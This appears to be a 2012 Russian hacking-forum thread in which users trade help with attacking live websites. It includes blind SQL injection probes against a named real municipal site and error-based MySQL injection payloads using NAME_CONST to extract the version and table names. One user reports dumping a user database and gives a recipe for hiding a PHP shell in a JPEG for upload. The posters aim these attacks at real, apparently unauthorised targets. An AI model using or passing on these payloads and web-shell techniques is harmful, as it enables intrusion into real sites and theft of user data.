 |
|
14.05.2012, 13:40
|
|
Познающий
Регистрация: 03.05.2011
Сообщений: 30
С нами:
7909526
Репутация:
1
|
|
hash вида mysql
|
|
|
14.05.2012, 14:15
|
|
Постоянный
Регистрация: 01.12.2011
Сообщений: 560
С нами:
7604246
Репутация:
267
|
|
Сообщение от cipa21
information_schema не доступен.
Брут таблиц
результата не дал. Есть предложения?
Там будет типа PREFIX_users. Joomla.
[QUOTE="ReV0LVeR"]
hash вида mysql
|
|
|
|
14.05.2012, 14:19
|
|
Познавший АНТИЧАТ
Регистрация: 12.07.2010
Сообщений: 1,546
С нами:
8334326
Репутация:
75
|
|
http://www.admcity.nnov.ru/script/phones1.php?id=6783+and+1=2
исчезает содержимое страници
так перебираю, нифига
http://www.admcity.nnov.ru/script/phones1.php?id=6783+and+substring%28@@version,1,1% 29=5
может всё же ето не blind sql???
|
|
|
|
14.05.2012, 15:08
|
|
Новичок
Регистрация: 12.08.2009
Сообщений: 1
С нами:
8814194
Репутация:
0
|
|
у Вас там FireBird 2.1.3
Крутить как вы верно заметили через Blind SQL
|
|
|
|
14.05.2012, 20:11
|
|
Новичок
Регистрация: 09.01.2012
Сообщений: 21
С нами:
7548086
Репутация:
0
|
|
Наткнулся на скулю, раскрутил, слил базу юзеров. Хочу залить шелл. Админки, как таковой нету, но есть модераторы с расширенными возможностями (в частности редактирования статей). FILE_PRYV = off Можно загрузить фотку на сервер. Я загрузил фото-шелл(сделал я его по такой схеме:
Сообщение от None
1. Создаем любое изображение
$ echo "" > simple_shell.php
$ cat 1.jpeg simple_shell.php >> poisoned.jpeg
Картинка готова к загрузке.
) На сервер фото залилось удачно, но php инклуда я так и не нашел . Можно ли еще каким-либо способом залить шелл ? |
|
|
|
15.05.2012, 22:37
|
|
Новичок
Регистрация: 21.06.2005
Сообщений: 1
С нами:
10992741
Репутация:
0
|
|
Есть инжект ErrorBased:
Код:
1'or(select*from(select(name_const(version(),1)),name_const(version(),1))a)and(1)='1
получаю как и положено:
Код:
Duplicate column name '5.0.77-log'
версия 5.0.77
делаю:
Код:
1'or(select*from(select(name_const(database(),1)),name_const(database(),1))a)and(1)='1
и получаю ошибку в операторе NAME_CONST
Код:
Incorrect arguments to NAME_CONST
что в корне нелогично так как предыдущая команда выполнилась
пробую еще:
Код:
1'or(select*from(select(name_const((select(SUBSTRING(group_concat(table_name),1,64))from(information_schema.tables)),1)),name_const((select(SUBSTRING(group_concat(table_name),1,64))from(information_schema.tables)),1))a)and(1)='1
и та же херь:
Код:
Incorrect arguments to NAME_CONST
что еще можно сделать? |
|
|
|
15.05.2012, 22:46
|
|
Постоянный
Регистрация: 01.12.2011
Сообщений: 560
С нами:
7604246
Репутация:
267
|
|
\/ITA,
через rand выводи.
UPD:
https://rdot.org/forum/showthread.php?t=60
|
|
|
|
15.05.2012, 22:58
|
|
Новичок
Регистрация: 21.06.2005
Сообщений: 1
С нами:
10992741
Репутация:
0
|
|
Сообщение от Ereee
\/ITA
,
через rand выводи.
UPD:
https://rdot.org/forum/showthread.php?t=60
пытаюсь, безпробельный вариант через ранд ваще нереал, нужно чтобы были одни скобки
UPD:
спс, нашел способ в том топике
|
|
|
|
16.05.2012, 01:10
|
|
Новичок
Регистрация: 12.08.2009
Сообщений: 1
С нами:
8814194
Репутация:
0
|
|
to \/ITA
Увы, но в name_const() выводится только version()...
|
|
|
|
17.05.2012, 02:07
|
|
Новичок
Регистрация: 05.02.2011
Сообщений: 8
С нами:
8034806
Репутация:
0
|
|
Подскажите пожалуйста, что делать если введенную xss показывает просто как текст?
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
